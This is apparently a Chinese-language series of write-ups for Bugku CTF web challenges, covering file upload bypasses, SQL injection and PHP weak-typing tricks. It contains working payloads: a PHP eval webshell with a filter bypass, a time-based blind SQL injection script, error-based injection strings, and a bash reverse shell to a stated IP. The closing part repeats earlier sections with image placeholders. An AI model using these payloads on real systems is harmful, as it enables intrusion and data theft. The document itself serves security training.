查看原始页面,可以看到,标题让上传图片而不是php,这一看就是文件上传,构造一个文件上传的payload
将其文件名改为png,jpg等图片文件后缀,然后进行上传
上传后返回了图片上传的路径,复制路径到URL中,进行访问,看能否出现空白图片,因为这是伪造的图片所以是空白的不会显示任何内容
将文件放到URL后,返回了空白图片,右键复制图片地址在菜刀或者蚁剑连接。
发现不管是蚁剑还是菜刀都连接不上,不管怎样修改都连接不上,可以猜测图片到后台被删除了
所以我们使用另一种方法,使用burp抓包试试,这里就可以将文件后缀改为php了,抓完包后将Type改为image/jpeg就可以
经过测试php2, php3, php4, php5,phps, pht, phtm, phtml,只有php5才能绕过,这里用了黑名单过滤
请求头部的Content-Type字段,进行大小写绕过,即把multipart/form-data中任意一个字母改成大写即可绕过
INSERT INTO注入
打开网页,可以看到题目给的源码
源码
<?php
error_reporting(0);
function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];
}
$host="localhost";
$user="";
$pass="";
$db="";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
明确注入点,是走的http报头的x-forwarded-for。
我尝试了bool型注入,发现自己构造的语句在自己数据库中会报错,但是这里并没有错误报告,因此考虑基于时间的盲注
我之前时间延迟盲注都是用 if(exp1,exp2,epx3) 这种格式来完成的,但是这里的一段代码,相当于把 “,” 给过滤了
$ip_arr = explode(',', $ip);
return $ip_arr[0];
于是改变方法,用 case when exp1 then sleep(4) else 1 end 来绕过 ","的限制
exp1 中要用到substr来进行剪切,这个函数substr(str,1,1) 又是存在 “,” , 于是这里我又用 substr (str) from 1 for 1 来绕过 ","的限制
又拼接的语句为value(’ 输入的内容 '),最后的poc为:
1' and (case when (length((select database())) = 14) then sleep(4) else 1 end) #
1' and (case when (substr(select database()) from 1 for 1)='c' then sleep(4) else 1 end) #
构造payload
insert into client_ip (ip) values (' 1' and (case when (length((select database())) = 14) then sleep(4) else 1 end) -- ')
Python脚本
# -*- coding:utf-8 -*-
import requests
import sys
# 基于时间的盲注,过滤了逗号 ,
sql = "127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)='{1}' then sleep(5) else 0 end))-- +"
url = 'http://123.206.87.240:8002/web15/'
flag = ''
for i in range(1, 40):
print('正在猜测:', str(i))
for ch in range(32, 129):
if ch == 128:
sys.exit(0)
sqli = sql.format(i, chr(ch))
# print(sqli)
header = {
'X-Forwarded-For': sqli
}
try:
html = requests.get(url, headers=header, timeout=3)
except:
flag += chr(ch)
print(flag)
break
最终得出结果是MD5值,解密就ok
这是一个神奇的登录框
打开网址
查看源码
是post提交,url明显提示是个sql注入,由于post提交,要sql和burp结合起来使用。
首先burp抓包,抓到包后选择存到txt文件中:(随便输入账号密码)
我保存到了D盘的1.txt里。
然后打开sqlmap,输入指令:sqlmap.py -r "D:\1.txt" -p admin_name --dbs
解释一下 -r是读文件 后面是刚才保存的绝对路径,-p是参数,也就是注入点(选了admin_name是注入点) --dbs意思是想获取数据库名字
可以看到sqlmap获得了数据库的名字:
应该是这个bugkul1,再继续爆表,命令:sqlmap.py -r "D:\1.txt" -D bugkusql1 -p admin_name --tables
解释:-D是表示选择了后面的这个数据库 --tables是想获取表
可以看到爆出了表:
应该在flag1这个表里,继续爆列名:
命令:sqlmap.py -r "D:\1.txt" -D bugkusql1 -T flag1 -p admin_name --columns
解释类似上面 不过加了一个-T 指定表
可以发现爆出了列名:
flag1这个列 最后查字段 命令:sqlmap.py -r "D:\1.txt" -D bugkusql1 -T flag1 -C flag1 -p admin_name --dump
解释:同上面 --dump是获取字段的命令(在这过程中可能会让你选择Y或者N 我直接回车的)可以看到爆出了flag:
多次
打开网址
查看原始页面
可以看到URL有一个 ?id=1,一看到这个第一时间想到的就是注入
测试一下看看是不是
使用万能单引号,发现页面返回错误,说明存在SQL注入。
使用注释符,查看页面返回,发现使用#
还是返回错误,说明可能是#
这个注释符被过滤了,
使用一下--+
或者%23
试试,页面返回正常。
查看字段数
发现order by 都已经等于1了还是返回错误,
使用1’ or 1=1 --+ 看看页面返回,发现or被过滤了,
使用双写试试,页面返回正常说明可以双写绕过
因为不知道那些被过滤了,所以测试一下and试试
and也出错了,
将and进行双写,发现页面返回正确
这次知道了or 和 and被过滤了,将or双写查看字段数
当字段为2的时候返回正常,3的时候页面返回错误
查看注入点,嗯?报错了,经过测试发现union select也被过滤了,也要进行双写绕过一下
双写绕过,注入点是2
查看数据库,当前数据库为web1002-1
查看表,不要忘记information中的or双写,可以看到获得的表为flag1
和hint
查看flag1表中的内容,获得flag1
andaddress
这两个字段
查看flag1这个字段,或得内容usOwycTju+FTUUzXosjr
,这个数据提交是错误的,所以我们试试address字段
查看address字段内容
可以看到出现了一个下一关的地址,点击。
进去之后发现还有一个注入。
在使用单引号
加注释符
查看字段
字段为2的时候返回正常
查看注入点,把union过滤了,双写,大写小编码等 都不能绕过,因为有报错信息,那就用报错注入
查看数据库
payload:-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
当前数据库为web1002-2
查看表
payload:-1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='web1002-2'),0x7e),1) --+
当前表名: ‘~class , flag2~’
查看flag2表中的字段
payload:-1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='flag2'),0x7e),1) --+
当前字段: ‘~flag2 , address~’
查看flag2字段内容
payload:-1' and updatexml(1,concat(0x7e,(select group_concat(flag2)from flag2),0x7e),1) --+
flag{Bugku-sql_6s-2i-4t-bug}
将B改为b因为题目要求小写,如果大写提交的话会提示错误
flag{bugku-sql_6s-2i-4t-bug}
复制提交就ok
文件包含2
打开网址
原始页面,什么也没有,查看源码看一下
F12查看源码,可以看到一个upload.php,访问这个文件
可以看到是上传文件的,这里一看加上文件名就知道这里是文件上传漏洞
构造一句话木马,这里不能使用普通的一句话<?php @eval($_POST['cmd']);?>
这个payload被过滤了,所以就要构造一个不被过滤的payload
payload:<?php <script language='php'>@eval($_POST['cmd']) </script> ?>
复制payload,然后将文件后缀改为例:1.php;.jpg
上传,访问红线处的内容,查看页面是否返回空白,页面只有访问的时候是空白的时候才能使用蚁剑或者菜刀连接成功
复制链接,这里我使用的是蚁剑,使用蚁剑连接
先添加数据,将URL粘贴上,密码就是一句话中POST里面的自己设置的值,测试连接后左下角出现成功就点击添加
双击进入,可以看到这个最长的,他的文件名也非常像flag,双击进去查看
发现flag确实在里面,复制提交就oK
还有一种方法将一句话构造成
<?php <script language='php'>system('ls')</script> ?>
还是将文件名改为1.php;.jpg
提交之后返回路径,复制访问
可以看到this_is_th3_F14g_154f65sd4g35f4d6f43.txt显示出来了,复制进行访问
访问this_is_th3_F14g_154f65sd4g35f4d6f43.txt文件夹
成功返回falg
flag.php
打开网址
查看原始页面
这里提交数据点击login是没有反应的,开始的时候题目给了提示hint,尝试给hint传参
给hint随机传参,都会返回源码,分析源码
源码
这里的 K E Y 是 没 有 赋 值 的 , 不 管 最 底 下 的 KEY是没有赋值的,不管最底下的 KEY是没有赋值的,不管最底下的KEY,因为没有赋值说明当前 K E Y 为 N U L L , 因 为 前 面 有 u n s e r i a l i z e 函 数 进 行 反 序 列 化 , 所 以 这 是 反 序 列 化 之 后 的 值 为 N U L L , 也 就 是 当 I S e c e r 全 等 于 KEY为NULL,因为前面有unserialize函数进行反序列化,所以这是反序列化之后的值为NULL,也就是当ISecer全等于 KEY为NULL,因为前面有unserialize函数进行反序列化,所以这是反序列化之后的值为NULL,也就是当ISecer全等于KEY的时候返回flag
<?php
error_reporting(0);
include_once("flag.php");
# cookie等于ISecer
$cookie = $_COOKIE['ISecer'];
# 判断hint不能为空
if(isset($_GET['hint'])){
show_source(__FILE__);
}
# 判断cookie也就是ISecer是否等于$KEY,等于输出flag
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Password"></p>
<p><input value="Login" type="button"/></p>
</form>
</div>
</body>
</html>
<?php
}
$KEY='ISecer:www.isecer.com';
?>
用在线php测试一下
复制上面的结果,然后因为之前ISecer是cookie的所以要再cookie中进行输入
使用burp抓包发送到repeater模块进行修改,然后运行,成功返回flag
这里不嫩将cookie和上面回车空开一行,否则不出flag
例如:
以为cookie和上面回车空了一行所以断开了,没有执行cookie就结束了
sql注入 2
打开网址
原始页面,发现是登录界面,我们使用常用的弱口令试试能否登上,使用burp抓包一下,看看哪个是
抓包后非常绝望,发现除了admin其他都是一样的,我们除了admin挨个尝试一下试试
使用admin123,Wc,居然对了,登录进去了。。。。
可以看到输入框有个ls … 我们照着输入一下试试
输出后居然返回了flag。纯属蒙的
手注
大佬的解题思路:https://blog.csdn.net/Mikasa_/article/details/87475337
还有一个也是瞎猜出来的,就是在URL上输入flag会直接跳转页面,显示flag值
孙XX的博客
不会
Trim的日记本
打开网址
查看原网址
这里注册也没有用,所以用御剑扫一下看看有没有有用的地址
可以看到扫到了一个show.php的地址,双击打开后发现flag就在里面
复制提交就ok
Bugku CTF login2(SKCTF)
打开网址
查看原始页面
使用burp抓包发送到repeater模块运行,
可以看到有一串base64加密
解密得到以下值
$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
}
代码中的单双引号的嵌套,其中username和password列名在数据库中是存字符串的,而字符串是需要用引号引起来的,不然会出错,这个时候最外面的双引号是具有解析变量的作用,而里面的单引号是给数据库语句用的,如果里面再用双引号就会跟最外面的双引号起冲突了,故用单引号。
这告诉我们要登录要满足的条件:查询结果不为空,其次,输入的password的值要等于md5(password)。
例:username=adminadsadaw' union select 1,md5(1)#&password=1
这样就能用后台数据库中并不存在的密码来绕过并登录成功:
下面进入一个命令执行的页面:
采用的反弹shell来做的。
反弹shell需要有公网ip,我们假设有个公网ip192.168.10.130,不用公网ip的话就线下赛局域网做题也行。
输入bash -i >& /dev/tcp/192.168.10.130/8888 0>&1并执行,然后在kali上运行命令:nc -lvp 8888,就能进行连接了,找到flag文件就拿到flag了。
原文链接:https://blog.csdn.net/zz_Caleb/java/article/details/89054600
login3(SKCTF)
具体步骤在这个网址:https://blog.csdn.net/zpy1998zpy/article/details/80667775
文件上传2(湖湘杯)
江湖魔头
login4
Web进阶
phpcmsV9
打开页面,从字面意思上就可以看出,这是要进行后台扫描。
可能是我卡的原因,页面显示不全,这并无大碍
使用dirsearch进行目录扫描。
python3 dirsearch -u http://123.206.87.240:8001/ -e php
其中扫描出rebots.txt,其中1.php是返回phpinfo。
在url后打开robots.txt。可以看到flag就在其中
代码审计
extract变量覆盖
源码
<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan)) { $content=trim(file_get_contents($flag)); if($shiyan==$content) {
echo'flag{xxx}';
}
else {
echo'Oh.no';
}
}?>
白话代码:
一个名叫flag的变量等于‘xxx’
将通过GET传过来的数组转为一个名为数组名,值为数组值的变量(如果新的变量和已有变量重名,会将已有变量替换)
如果存在一个名叫shiyan的字符串
将flag变量的值赋给名为content变量
如果变量shiyan和变量content的值相同,
就输出flag的值
否则就输出Oh,no
因为extract()会把符号表中已存在的变量名的值替换掉,所以制造Payload :?shiyan=&flag=
也就是利用新传入的值为空的flag替换原有的flag的值。构造空等于空,成功输出flag的值
strcmp比较字符串
源码
<?php
$flag = "flag{xxxxx}";
if (isset($_GET['a'])) {
if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
//比较两个字符串(区分大小写)
die('Flag: '.$flag);
else
print 'No';
}
?>
可以看到注释,如果两者相等返回0,可以使用数组,来将其判断成0
payload:http://123.206.87.240:9009/6.php?a[]=1
urldecode二次编码绕过
源码
<?php
if(eregi("hackerDJ",$_GET[id])) { echo("not allowed!");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ"){
echo "Access granted!";
echo "flag";
}?
>
可以看到题目就已经给提示了,说了两次url编码,复制hackerDJ,在小葵工具,或者在线工具中进行两次URL编码
复制提交以下
payload:http://123.206.87.240:9009/10.php?id=%25%36%38%25%36%31%25%36%33%25%36%42%25%36%35%25%37%32%25%34%34%25%34%41
MD5()函数
<?php
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {
if ($_GET['username'] == $_GET['password'])
print 'Your password can not be your username.';
else if (md5($_GET['username']) === md5($_GET['password']))
die('Flag: '.$flag);
else
print 'Invalid password';
}
?>
可以看到,其中有这样一条判断,进行md5判断,要username和password全等于。所以这里要是用数组绕过,因为md5不能处理数组
else if (md5($_GET['username']) === md5($_GET['password']))
payload:http://123.206.87.240:9009/18.php?username[]=1&password[]=2
sha()函数比较绕过
源码
<?php
$flag = "flag";
if (isset($_GET['name']) and isset($_GET['password']))
{
var_dump($_GET['name']);
echo "
";
var_dump($_GET['password']);
var_dump(sha1($_GET['name']));
var_dump(sha1($_GET['password']));
if ($_GET['name'] == $_GET['password'])
echo '
Your password can not be your name!
';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '
Invalid password.
';
}
else
echo '
Login first!
';
?>
打开页面,先构造一下看看页面返回
如果name和password相同就会返回你的名字不能和密码相同
并且将用户名和密码进行md5加密
将用户名和密码输入不同的数字,就会返回密码无效
审计源码
发现name和password进行sha()函数比较,并且要求全等于,所以就可以利用数组绕过
md5加密相等绕过
<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "flag{*}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
?>
打开页面,让其输入a
在url中输入a,审计源码发现,不能直接输入QNKCDZO
输入s878926199a,返回了flag
原理:
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。而以下这些字符串,md5哈希之后都是0e开头的
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
十六进制与数字比较
<?php
error_reporting(0);
function noother_says_correct($temp)
{
$flag = 'flag{test}';
$one = ord('1'); //ord — 返回字符的 ASCII 码值
$nine = ord('9'); //ord — 返回字符的 ASCII 码值
$number = '3735929054';
// Check all the input characters!
for ($i = 0; $i < strlen($number); $i++)
{
// Disallow all the digits!
$digit = ord($temp{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
// Aha, digit not allowed!
return "flase";
}
}
if($number == $temp)
return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);
?>
deadc0de
打开页面查看返回,页面返回空白卡
审计代码,数字不能是1~9,这和3735929054冲突,题目也告诉了用十六进制绕过,将3735929054进行转化,转换成十六进制,前面要加上0x,不然它不知道这个是什么。
变量覆盖
打不开
ereg正则%00截断
<?php
$flag = "xxx";
if (isset ($_GET['password']))
{
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '
You password must be alphanumeric
';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '-') !== FALSE) //strpos — 查找字符串首次出现的位置
{
die('Flag: ' . $flag);
}
else
{
echo('
- have not been found
');
}
}
else
{
echo '
Invalid password
';
}
}
?>
代码审计:ereg()函数搜索一个字符串中的指定字符串,成功true,错误false
传入的值必须是数字或大小写字符
传入的值长度小于8,但要大于9999999
长度和数值矛盾,采用1e8,1x10的8次方,绕过
在可以看到题目是%00截断绕过,可以构造一下payload查看能否返回
没有找到* - *。。。将 - 替换为 * - *试试
这样页面就成功的返回了flag了
strpos数组绕过
<?php
$flag = "flag";
if (isset ($_GET['ctf'])) {
if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
?>
代码审计:ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。所以输入的内容不能是正则中的内容。结合题目是数组绕过,所以跟之前的数组绕过一样,这里等号后面可以跟任何内容
这样进行数组绕过就成功的返回了flag
数字验证正则绕过
<?php
error_reporting(0);
$flag = 'flag{test}';
if ("POST" == $_SERVER['REQUEST_METHOD']){
$password = $_POST['password'];
//1、正则匹配,[:graph:]为任意字符,要求password长度超过12
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)){
echo 'flag';
exit;
}
while (TRUE){
//2、password中必须包含标点符号,数字,大写字母,小写字母,并且检测次数要超过6次
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
//c为字符种类,
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower');
//[[:punct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]]任何大写字母 [[:lower:]] 任何小写字母
//标点符号,数字,大写字母,小写字母,包含3种以上绕过
foreach ($ps as $pt){
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
//>=3,必须包含四种类型三种与三种以上
//4、弱类型比较,42abc,强制转换为数字
if ("42" == $password) echo $flag;
else
echo 'Wrong password';
exit;
}
}
?>
preg_match()
定义:
- 执行一个正则表达式匹配
语法:preg_math(pattern,string,matches,flags)
- pattern,必需,要搜索的模式
- string,必需,输入的字符串
- 返回pattern的匹配次数,0次(不匹配)或1次,匹配成功第一次就会停止搜索。
preg_match_all()
与preg_match的区别:
- 返回匹配完整次数(可能是0),或者发生错误后返回FALSE,匹配完整个字符串。
名字 | ASCII |
---|---|
[:alnum:] | [a-zA-Z0-9] |
[:alpha:] | [a-zA-Z] |
[:ascii:] | [\x00-\x7F] |
[:blank:] | [ \t] |
[:digit:] | [0-9] |
[:graph:] | [\x21-\x7E] |
[:punct:] | [!"#$%&’()*+,-./:;<=>?@[]^_`{|}~] |
[:lower:] | [a-z] |
[:upper:] | [A-Z] |
[:word:] | [A-Za-z0-9_] |
[:xdigit:] | [A-Fa-f0-9] |
这一关有bug就算只输入?password=都能返回flag
只要能够满足条件都行,是Post传参
payload:42ccccccc.ffffffF
简单的waf
打不开
password
';
}
}
?>
代码审计:ereg()函数搜索一个字符串中的指定字符串,成功true,错误false
传入的值必须是数字或大小写字符
传入的值长度小于8,但要大于9999999
长度和数值矛盾,采用1e8,1x10的8次方,绕过
在可以看到题目是%00截断绕过,可以构造一下payload查看能否返回
没有找到* - *。。。将 - 替换为 * - *试试
[外链图片转存中...(img-ah7jCWEz-1596115258243)]
这样页面就成功的返回了flag了
[外链图片转存中...(img-HzwK0qEI-1596115258244)]
#### strpos数组绕过
```shell
<?php
$flag = "flag";
if (isset ($_GET['ctf'])) {
if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
?>
代码审计:ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。所以输入的内容不能是正则中的内容。结合题目是数组绕过,所以跟之前的数组绕过一样,这里等号后面可以跟任何内容
这样进行数组绕过就成功的返回了flag
[外链图片转存中…(img-ZzGZwwaI-1596115258244)]
数字验证正则绕过
<?php
error_reporting(0);
$flag = 'flag{test}';
if ("POST" == $_SERVER['REQUEST_METHOD']){
$password = $_POST['password'];
//1、正则匹配,[:graph:]为任意字符,要求password长度超过12
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)){
echo 'flag';
exit;
}
while (TRUE){
//2、password中必须包含标点符号,数字,大写字母,小写字母,并且检测次数要超过6次
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
//c为字符种类,
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower');
//[[:punct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]]任何大写字母 [[:lower:]] 任何小写字母
//标点符号,数字,大写字母,小写字母,包含3种以上绕过
foreach ($ps as $pt){
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
//>=3,必须包含四种类型三种与三种以上
//4、弱类型比较,42abc,强制转换为数字
if ("42" == $password) echo $flag;
else
echo 'Wrong password';
exit;
}
}
?>
preg_match()
定义:
- 执行一个正则表达式匹配
语法:preg_math(pattern,string,matches,flags)
- pattern,必需,要搜索的模式
- string,必需,输入的字符串
- 返回pattern的匹配次数,0次(不匹配)或1次,匹配成功第一次就会停止搜索。
preg_match_all()
与preg_match的区别:
- 返回匹配完整次数(可能是0),或者发生错误后返回FALSE,匹配完整个字符串。
名字 | ASCII |
---|---|
[:alnum:] | [a-zA-Z0-9] |
[:alpha:] | [a-zA-Z] |
[:ascii:] | [\x00-\x7F] |
[:blank:] | [ \t] |
[:digit:] | [0-9] |
[:graph:] | [\x21-\x7E] |
[:punct:] | [!"#$%&’()*+,-./:;<=>?@[]^_`{|}~] |
[:lower:] | [a-z] |
[:upper:] | [A-Z] |
[:word:] | [A-Za-z0-9_] |
[:xdigit:] | [A-Fa-f0-9] |
这一关有bug就算只输入?password=都能返回flag
只要能够满足条件都行,是Post传参
payload:42ccccccc.ffffffF
[外链图片转存中…(img-pGhHbNBa-1596115258245)]
简单的waf
打不开